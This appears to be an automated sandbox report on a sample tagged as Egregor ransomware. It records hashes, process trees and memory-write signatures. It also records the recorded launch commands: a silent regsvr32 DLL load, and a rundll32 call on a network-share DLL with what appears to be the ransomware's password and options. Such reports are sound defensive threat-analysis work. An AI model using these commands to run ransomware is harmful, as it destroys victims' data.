Malware Analysis Report

2024-10-16 03:26

Sample ID 201104-4cqpnwjszj
Target t3.zip
SHA256 a7fe915517ec1fff09e9b59be27d2ab81c3bbb018c80583ea7ac94ce9185472a
Tags
egregor ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a7fe915517ec1fff09e9b59be27d2ab81c3bbb018c80583ea7ac94ce9185472a

Threat Level: Known bad

The file t3.zip was found to be: Known bad.

Malicious Activity Summary

egregor ransomware

Egregor Ransomware

Suspicious use of WriteProcessMemory

MITRE ATT&CK

N/A

Analysis: static1

Detonation Overview

Reported

2020-11-04 18:15

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2020-11-04 18:15

Reported

2020-11-04 18:18

Platform

win7v20201028

Max time kernel

2s

Max time network

8s

Command Line

regsvr32 /s C:\Users\Admin\AppData\Local\Temp\b.dll

Signatures

Egregor Ransomware

ransomware egregor

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1640 wrote to memory of 2028 N/A C:\Windows\system32\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1640 wrote to memory of 2028 N/A C:\Windows\system32\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1640 wrote to memory of 2028 N/A C:\Windows\system32\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1640 wrote to memory of 2028 N/A C:\Windows\system32\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1640 wrote to memory of 2028 N/A C:\Windows\system32\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1640 wrote to memory of 2028 N/A C:\Windows\system32\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1640 wrote to memory of 2028 N/A C:\Windows\system32\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Windows\system32\regsvr32.exe

regsvr32 /s C:\Users\Admin\AppData\Local\Temp\b.dll

C:\Windows\SysWOW64\regsvr32.exe

/s C:\Users\Admin\AppData\Local\Temp\b.dll

Network

N/A

Files

memory/2028-0-0x0000000000000000-mapping.dmp

memory/2028-1-0x0000000000220000-0x000000000025F000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2020-11-04 18:15

Reported

2020-11-04 18:18

Platform

win10v20201028

Max time kernel

12s

Max time network

111s

Command Line

regsvr32 /s C:\Users\Admin\AppData\Local\Temp\b.dll

Signatures

Egregor Ransomware

ransomware egregor

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4764 wrote to memory of 4864 N/A C:\Windows\system32\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 4764 wrote to memory of 4864 N/A C:\Windows\system32\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 4764 wrote to memory of 4864 N/A C:\Windows\system32\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Windows\system32\regsvr32.exe

regsvr32 /s C:\Users\Admin\AppData\Local\Temp\b.dll

C:\Windows\SysWOW64\regsvr32.exe

/s C:\Users\Admin\AppData\Local\Temp\b.dll

Network

N/A

Files

memory/4864-0-0x0000000000000000-mapping.dmp

memory/4864-1-0x0000000002CA0000-0x0000000002CDF000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2020-11-04 18:15

Reported

2020-11-04 18:18

Platform

win7v20201028

Max time kernel

70s

Max time network

68s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\spr2.bat"

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 996 wrote to memory of 452 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe
PID 996 wrote to memory of 452 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe
PID 996 wrote to memory of 452 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\spr2.bat"

C:\Windows\system32\rundll32.exe

rundll32.exe "\\SRV01QW\sp\b.dll",DllRegisterServer --passegregor10 --append="carraro" --multiproc

Network

N/A

Files

memory/452-0-0x0000000000000000-mapping.dmp

Analysis: behavioral4

Detonation Overview

Submitted

2020-11-04 18:15

Reported

2020-11-04 18:18

Platform

win10v20201028

Max time kernel

11s

Max time network

112s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\spr2.bat"

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4012 wrote to memory of 804 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe
PID 4012 wrote to memory of 804 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\spr2.bat"

C:\Windows\system32\rundll32.exe

rundll32.exe "\\SRV01QW\sp\b.dll",DllRegisterServer --passegregor10 --append="carraro" --multiproc

Network

Country Destination Domain Proto
N/A 52.109.12.19:443 tcp

Files

memory/804-0-0x0000000000000000-mapping.dmp